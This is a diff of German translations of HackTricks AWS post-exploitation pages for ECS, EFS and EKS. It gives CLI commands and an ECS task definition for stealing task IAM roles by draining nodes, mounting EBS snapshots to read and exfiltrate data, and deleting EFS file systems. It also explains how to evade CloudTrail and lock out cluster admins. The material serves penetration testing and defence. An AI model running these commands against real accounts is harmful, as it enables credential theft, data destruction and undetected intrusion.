-aws ecs submit-task-state-change --cluster <value> \
---status STOPPED --reason "anything" --containers [...]
-
-# Needs: ecs:SubmitContainerStateChange
-aws ecs submit-container-state-change ...
-
-# Needs: ecs:SubmitAttachmentStateChanges
-aws ecs submit-attachment-state-changes ...
-```
-### Sensible Informationen aus ECR-Containern stehlen
-
-Die EC2-Instanz wird wahrscheinlich auch die Berechtigung `ecr:GetAuthorizationToken` haben, die es ihr ermöglicht, **Bilder herunterzuladen** (du könntest nach sensiblen Informationen darin suchen).
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md

@@ -0,0 +1,126 @@
+# AWS - ECS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECS
+
+Für mehr Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-ecs-enum.md
+{{#endref}}
+
+### Host IAM Roles
+
+In ECS kann einer **IAM role dem task zugewiesen werden**, der innerhalb des container läuft. **Wenn** der task in einer **EC2 instance** ausgeführt wird, hat die **EC2 instance** eine **andere IAM** role angehängt.\
+Das bedeutet, dass wenn es Ihnen gelingt, eine ECS instance zu **compromise**, Sie potenziell die **IAM role, die mit dem ECR und der EC2 instance verknüpft ist, erhalten** können. Für mehr Infos darüber, wie man diese credentials erhält, siehe:
+
+{{#ref}}
+https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
+{{#endref}}
+
+> [!CAUTION]
+> Beachten Sie, dass wenn die EC2 instance IMDSv2 erzwingt, [**laut der Dokumentation**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), die **response of the PUT request** ein **hop limit of 1** haben wird, wodurch es unmöglich wird, von einem container innerhalb der EC2 instance auf die EC2-Metadaten zuzugreifen.
+
+### Privesc to node to steal other containers creds & secrets
+
+Aber außerdem verwendet EC2 docker, um ECS tasks auszuführen, daher, wenn Sie auf den node escapen oder **access the docker socket** erhalten können, können Sie **check**, welche **anderen containers** laufen, und sogar **get inside of them** und die angehängten **IAM roles** stehlen.
+
+#### Making containers run in current host
+
+Außerdem wird die **EC2 instance role** normalerweise genügend **permissions** haben, um den **container instance state** der EC2 instances, die als nodes im Cluster verwendet werden, zu **update**. Ein Angreifer könnte den **state of an instance to DRAINING** ändern, dann wird ECS **remove all the tasks from it** und die als **REPLICA** laufenden Tasks werden in einer **anderen instance** ausgeführt, möglicherweise innerhalb der **attackers instance**, sodass er deren **IAM roles** und potenziell sensible Informationen aus dem Container **stehlen** kann.
+```bash
+aws ecs update-container-instances-state \
+--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
+```
+Die gleiche Technik kann durchgeführt werden, indem man **die EC2-Instanz aus dem Cluster deregistriert**. Das ist potenziell weniger unauffällig, aber es wird **erzwingen, dass die tasks auf anderen instances ausgeführt werden:**
+```bash
+aws ecs deregister-container-instance \
+--cluster <cluster> --container-instance <container-instance-id> --force
+```
+Eine letzte Technik, um die Neuausführung von tasks zu erzwingen, besteht darin, ECS anzuzeigen, dass der **task oder container gestoppt wurde**. Es gibt 3 mögliche APIs, um dies zu tun:
+```bash
+# Needs: ecs:SubmitTaskStateChange
+aws ecs submit-task-state-change --cluster <value> \
+--status STOPPED --reason "anything" --containers [...]
+
+# Needs: ecs:SubmitContainerStateChange
+aws ecs submit-container-state-change ...
+
+# Needs: ecs:SubmitAttachmentStateChanges
+aws ecs submit-attachment-state-changes ...
+```
+### Sensitive Informationen aus ECR-Containern stehlen
+
+Die EC2-Instanz verfügt wahrscheinlich auch über die Berechtigung `ecr:GetAuthorizationToken`, die es ihr erlaubt, **Images herunterzuladen** (du könntest darin nach sensiblen Informationen suchen).
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+### Einen EBS-Snapshot direkt in einer ECS-Task einbinden (configuredAtLaunch + volumeConfigurations)
+
+Missbrauche die native ECS-EBS-Integration (2024+), um den Inhalt eines vorhandenen EBS-Snapshots direkt in einer neuen ECS task/service einzubinden und dessen Daten aus dem Container auszulesen.
+
+- Benötigt (mindestens):
+- ecs:RegisterTaskDefinition
+- Eines von: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
+- iam:PassRole für:
+- ECS infrastructure role used for volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
+- Task execution/Task roles referenced by the task definition
+- Falls der Snapshot mit einer CMK verschlüsselt ist: KMS-Berechtigungen für die Infra-Rolle (die oben genannte AWS managed policy enthält die erforderlichen KMS-Berechtigungen für AWS managed keys).
+
+- Auswirkung: Beliebige Festplatteninhalte aus dem Snapshot lesen (z. B. Datenbankdateien) innerhalb des Containers und über Netzwerk/Logs exfiltrieren.
+
+Schritte (Fargate-Beispiel):
+
+1) Erstelle die ECS infrastructure role (falls sie nicht existiert) und hänge die managed policy an:
+```bash
+aws iam create-role --role-name ecsInfrastructureRole \
+--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
+aws iam attach-role-policy --role-name ecsInfrastructureRole \
+--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
+```
+2) Registriere eine Task-Definition mit einem Volume, das mit `configuredAtLaunch` markiert ist, und binde es im Container ein. Beispiel (gibt das Secret aus und schläft dann):
+```json
+{
+"family": "ht-ebs-read",
+"networkMode": "awsvpc",
+"requiresCompatibilities": ["FARGATE"],
+"cpu": "256",
+"memory": "512",
+"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
+"containerDefinitions": [
+{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
+"entryPoint":["/bin/sh","-c"],
+"command":["cat /loot/secret.txt || true; sleep 3600"],
+"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
+"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
+}
+],
+"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
+}
+```
+3) Erstelle oder aktualisiere einen Service und übergib den EBS-Snapshot über `volumeConfigurations.managedEBSVolume` (erfordert iam:PassRole für die Infra-Rolle). Beispiel:
+```json
+{
+"cluster": "ht-ecs-ebs",
+"serviceName": "ht-ebs-svc",
+"taskDefinition": "ht-ebs-read",
+"desiredCount": 1,
+"launchType": "FARGATE",
+"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
+"volumeConfigurations": [
+{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
+]
+}
+```
+4) Wenn die task startet, kann der container die snapshot contents am konfigurierten mount path (z. B. `/loot`) lesen. Exfiltrate via the task’s network/logs.
+
+Bereinigung:
+```bash
+aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
+aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
+aws ecs deregister-task-definition ht-ebs-read
+```
+

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md

@@ -1,46 +0,0 @@
-# AWS - EFS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EFS
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-efs-enum.md
-{{#endref}}
-
-### `elasticfilesystem:DeleteMountTarget`
-
-Ein Angreifer könnte ein Mount-Ziel löschen, was potenziell den Zugriff auf das EFS-Dateisystem für Anwendungen und Benutzer, die auf dieses Mount-Ziel angewiesen sind, stören könnte.
-```sql
-aws efs delete-mount-target --mount-target-id <value>
-```
-**Potenzielle Auswirkungen**: Störung des Zugriffs auf das Dateisystem und potenzieller Datenverlust für Benutzer oder Anwendungen.
-
-### `elasticfilesystem:DeleteFileSystem`
-
-Ein Angreifer könnte ein gesamtes EFS-Dateisystem löschen, was zu Datenverlust führen und Anwendungen beeinträchtigen könnte, die auf das Dateisystem angewiesen sind.
-```perl
-aws efs delete-file-system --file-system-id <value>
-```
-**Potenzielle Auswirkungen**: Datenverlust und Dienstunterbrechung für Anwendungen, die das gelöschte Dateisystem verwenden.
-
-### `elasticfilesystem:UpdateFileSystem`
-
-Ein Angreifer könnte die Eigenschaften des EFS-Dateisystems aktualisieren, wie z.B. den Durchsatzmodus, um dessen Leistung zu beeinträchtigen oder Ressourcenerschöpfung zu verursachen.
-```sql
-aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
-```
-**Potenzielle Auswirkungen**: Verschlechterung der Dateisystemleistung oder Ressourcenerschöpfung.
-
-### `elasticfilesystem:CreateAccessPoint` und `elasticfilesystem:DeleteAccessPoint`
-
-Ein Angreifer könnte Zugriffspunkte erstellen oder löschen, die Zugriffskontrolle ändern und sich möglicherweise unbefugten Zugriff auf das Dateisystem gewähren.
-```arduino
-aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
-aws efs delete-access-point --access-point-id <value>
-```
-**Potenzielle Auswirkungen**: Unbefugter Zugriff auf das Dateisystem, Datenexposition oder -änderung.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md

@@ -0,0 +1,46 @@
+# AWS - EFS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EFS
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-efs-enum.md
+{{#endref}}
+
+### `elasticfilesystem:DeleteMountTarget`
+
+Ein attacker könnte ein mount target löschen und dadurch den Zugriff auf das EFS file system für Anwendungen und Benutzer, die auf dieses mount target angewiesen sind, stören.
+```sql
+aws efs delete-mount-target --mount-target-id <value>
+```
+**Mögliche Auswirkungen**: Unterbrechung des Zugriffs auf das Dateisystem und möglicher Datenverlust für Benutzer oder Anwendungen.
+
+### `elasticfilesystem:DeleteFileSystem`
+
+Ein Angreifer könnte ein gesamtes EFS-Dateisystem löschen, was zu Datenverlust führen und Anwendungen beeinträchtigen könnte, die auf dieses Dateisystem angewiesen sind.
+```perl
+aws efs delete-file-system --file-system-id <value>
+```
+**Mögliche Auswirkungen**: Datenverlust und Dienstunterbrechungen für Anwendungen, die das gelöschte Dateisystem verwenden.
+
+### `elasticfilesystem:UpdateFileSystem`
+
+Ein Angreifer könnte die Eigenschaften des EFS-Dateisystems aktualisieren, z. B. den Durchsatzmodus, um dessen Leistung zu beeinträchtigen oder eine Ressourcenerschöpfung zu verursachen.
+```sql
+aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
+```
+**Potentielle Auswirkungen**: Leistungseinbußen des Dateisystems oder Erschöpfung von Ressourcen.
+
+### `elasticfilesystem:CreateAccessPoint` und `elasticfilesystem:DeleteAccessPoint`
+
+Ein Angreifer könnte Access Points erstellen oder löschen, die Zugriffskontrolle verändern und sich möglicherweise unautorisierten Zugriff auf das Dateisystem verschaffen.
+```arduino
+aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
+aws efs delete-access-point --access-point-id <value>
+```
+**Mögliche Auswirkungen**: Unbefugter Zugriff auf das Dateisystem, Datenoffenlegung oder -manipulation.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md

@@ -1,143 +0,0 @@
-# AWS - EKS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EKS
-
-Für weitere Informationen siehe
-
-{{#ref}}
-../aws-services/aws-eks-enum.md
-{{#endref}}
-
-### Enumerieren Sie den Cluster über die AWS-Konsole
-
-Wenn Sie die Berechtigung **`eks:AccessKubernetesApi`** haben, können Sie **Kubernetes-Objekte** über die AWS EKS-Konsole anzeigen ([Erfahren Sie mehr](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
-
-### Verbinden Sie sich mit dem AWS Kubernetes-Cluster
-
-- Einfache Methode:
-```bash
-# Generate kubeconfig
-aws eks update-kubeconfig --name aws-eks-dev
-```
-- Nicht so einfacher Weg:
-
-Wenn Sie **ein Token erhalten können** mit **`aws eks get-token --name <cluster_name>`**, aber keine Berechtigungen haben, um Cluster-Informationen abzurufen (describeCluster), könnten Sie **Ihre eigene `~/.kube/config` vorbereiten**. Allerdings benötigen Sie mit dem Token immer noch den **URL-Endpunkt, um sich zu verbinden** (wenn Sie es geschafft haben, ein JWT-Token von einem Pod zu erhalten, lesen Sie [hier](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) und den **Namen des Clusters**.
-
-In meinem Fall habe ich die Informationen nicht in den CloudWatch-Protokollen gefunden, aber ich **fand sie in den LaunchTemplates userData** und in **EC2-Maschinen in userData ebenfalls**. Sie können diese Informationen leicht in **userData** sehen, zum Beispiel im nächsten Beispiel (der Clustername war cluster-name):
-```bash
-API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
-
-/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
-```
-<details>
-
-<summary>kube config</summary>
-```yaml
-describe-cache-parametersapiVersion: v1
-clusters:
-- cluster:
-certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
-server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
-name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-contexts:
-- context:
-cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-kind: Config
-preferences: {}
-users:
-- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-user:
-exec:
-apiVersion: client.authentication.k8s.io/v1beta1
-args:
-- --region
-- us-west-2
-- --profile
-- <profile>
-- eks
-- get-token
-- --cluster-name
-- <cluster-name>
-command: aws
-env: null
-interactiveMode: IfAvailable
-provideClusterInfo: false
-```
-</details>
-
-### Von AWS zu Kubernetes
-
-Der **Ersteller** des **EKS-Clusters** wird **IMMER** in der Lage sein, in den Kubernetes-Cluster-Bereich der Gruppe **`system:masters`** (k8s-Admin) zu gelangen. Zum Zeitpunkt des Schreibens gibt es **keinen direkten Weg**, um **herauszufinden, wer** den Cluster erstellt hat (Sie können CloudTrail überprüfen). Und es gibt **keinen Weg**, um dieses **Privileg** zu **entfernen**.
-
-Der Weg, um **Zugriff auf K8s für weitere AWS IAM-Benutzer oder -Rollen** zu gewähren, ist die Verwendung des **configmap** **`aws-auth`**.
-
-> [!WARNING]
-> Daher wird jeder mit **Schreibzugriff** auf die Config-Map **`aws-auth`** in der Lage sein, den **gesamten Cluster zu kompromittieren**.
-
-Für weitere Informationen darüber, wie man **zusätzliche Privilegien für IAM-Rollen und -Benutzer** im **gleichen oder unterschiedlichen Konto** gewährt und wie man dies **ausnutzen** kann, siehe [**privesc check this page**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
-
-Überprüfen Sie auch [**diesen großartigen**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **Beitrag, um zu erfahren, wie die Authentifizierung IAM -> Kubernetes funktioniert**.
-
-### Von Kubernetes zu AWS
-
-Es ist möglich, eine **OpenID-Authentifizierung für Kubernetes-Dienstkonten** zuzulassen, um ihnen zu ermöglichen, Rollen in AWS zu übernehmen. Erfahren Sie, wie [**das auf dieser Seite funktioniert**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
-
-### GET Api Server-Endpunkt aus einem JWT-Token
-
-Durch das Decodieren des JWT-Tokens erhalten wir die Cluster-ID und auch die Region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Dabei ist bekannt, dass das Standardformat für die EKS-URL ist
-```bash
-https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
-```
-Fand keine Dokumentation, die die Kriterien für die 'zwei Zeichen' und die 'Zahl' erklärt. Aber bei eigenen Tests sehe ich, dass diese häufig vorkommen:
-
-- gr7
-- yl4
-
-Jedenfalls sind es nur 3 Zeichen, die wir bruteforcen können. Verwende das folgende Skript, um die Liste zu generieren.
-```python
-from itertools import product
-from string import ascii_lowercase
-
-letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
-number_combinations = product('0123456789', repeat = 1)
-
-result = [
-f'{''.join(comb[0])}{comb[1][0]}'
-for comb in product(letter_combinations, number_combinations)
-]
-
-with open('out.txt', 'w') as f:
-f.write('\n'.join(result))
-```
-Dann mit wfuzz
-```bash
-wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
-```
-> [!WARNING]
-> Denken Sie daran, & zu ersetzen.
-
-### Umgehen von CloudTrail
-
-Wenn ein Angreifer die Anmeldeinformationen eines AWS mit **Berechtigungen über ein EKS** erhält. Wenn der Angreifer seine eigene **`kubeconfig`** konfiguriert (ohne **`update-kubeconfig`** aufzurufen), wie zuvor erklärt, generiert **`get-token`** keine Protokolle in CloudTrail, da es nicht mit der AWS-API interagiert (es erstellt das Token nur lokal).
-
-Wenn der Angreifer also mit dem EKS-Cluster kommuniziert, **wird CloudTrail nichts protokollieren, was mit dem gestohlenen Benutzer und dem Zugriff darauf zu tun hat**.
-
-Beachten Sie, dass der **EKS-Cluster möglicherweise Protokolle aktiviert hat**, die diesen Zugriff protokollieren (obwohl sie standardmäßig deaktiviert sind).
-
-### EKS Lösegeld?
-
-Standardmäßig hat der **Benutzer oder die Rolle, die** einen Cluster erstellt hat, **IMMER Administratorrechte** über den Cluster. Und das ist der einzige "sichere" Zugriff, den AWS über den Kubernetes-Cluster hat.
-
-Wenn also ein **Angreifer einen Cluster mit Fargate kompromittiert** und **alle anderen Administratoren entfernt** und **den AWS-Benutzer/die Rolle, die den Cluster erstellt hat, löscht**, ~~könnte der Angreifer **den Cluster erpresst haben**~~**.
-
-> [!TIP]
-> Beachten Sie, dass es, wenn der Cluster **EC2-VMs** verwendet, möglich sein könnte, Administratorrechte von dem **Knoten** zu erhalten und den Cluster wiederherzustellen.
->
-> Tatsächlich, wenn der Cluster Fargate verwendet, könnten Sie EC2-Knoten oder alles zu EC2 in den Cluster verschieben und ihn wiederherstellen, indem Sie auf die Tokens im Knoten zugreifen.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md

@@ -0,0 +1,143 @@
+# AWS - EKS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EKS
+
+Für weitere Informationen siehe
+
+{{#ref}}
+../../aws-services/aws-eks-enum.md
+{{#endref}}
+
+### Enumerate the cluster from the AWS Console
+
+Wenn Sie die Berechtigung **`eks:AccessKubernetesApi`** haben, können Sie **Kubernetes-Objekte anzeigen** über die AWS EKS-Konsole ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
+
+### Mit dem AWS Kubernetes Cluster verbinden
+
+- Einfache Methode:
+```bash
+# Generate kubeconfig
+aws eks update-kubeconfig --name aws-eks-dev
+```
+- Nicht der einfache Weg:
+
+Wenn du **ein Token erhalten kannst** mit **`aws eks get-token --name <cluster_name>`** aber keine Berechtigungen hast, Cluster-Informationen abzurufen (describeCluster), könntest du **deine eigene `~/.kube/config` vorbereiten**. Allerdings brauchst du, obwohl du das Token hast, noch den **URL-Endpunkt, um dich zu verbinden** (wenn du es geschafft hast, ein JWT token aus einem pod zu bekommen, lies [here](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) und den **Namen des Clusters**.
+
+In meinem Fall habe ich die Info nicht in den CloudWatch-Logs gefunden, sondern in den LaunchTemaplates userData und auch in den userData der EC2-Maschinen. Diese Info sieht man in userData leicht, zum Beispiel im nächsten Beispiel (der Clustername war cluster-name):
+```bash
+API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
+
+/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
+```
+<details>
+
+<summary>kube config</summary>
+```yaml
+describe-cache-parametersapiVersion: v1
+clusters:
+- cluster:
+certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
+server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
+name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+contexts:
+- context:
+cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+kind: Config
+preferences: {}
+users:
+- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+user:
+exec:
+apiVersion: client.authentication.k8s.io/v1beta1
+args:
+- --region
+- us-west-2
+- --profile
+- <profile>
+- eks
+- get-token
+- --cluster-name
+- <cluster-name>
+command: aws
+env: null
+interactiveMode: IfAvailable
+provideClusterInfo: false
+```
+</details>
+
+### From AWS to Kubernetes
+
+Der **creator** des **EKS cluster** wird IMMER in der Lage sein, in den kubernetes-Clusterteil der Gruppe **`system:masters`** (k8s admin) zu gelangen. Zum Zeitpunkt dieses Schreibens gibt es **keinen direkten Weg**, herauszufinden, **wer den Cluster erstellt hat** (du kannst CloudTrail prüfen). Und es gibt **keinen Weg**, dieses **Privileg zu entfernen**.
+
+Der Weg, **mehr AWS IAM users oder roles Zugriff auf K8s** zu gewähren, erfolgt über das **configmap** **`aws-auth`**.
+
+> [!WARNING]
+> Daher kann jeder mit **write access** auf das ConfigMap **`aws-auth`** den **gesamten Cluster kompromittieren**.
+
+Für mehr Informationen darüber, wie man **zusätzliche Privilegien für IAM roles & users** im **gleichen oder einem anderen Account** gewährt und wie man dies **missbrauchen** kann, siehe [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps).
+
+Siehe auch[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**.
+
+### From Kubernetes to AWS
+
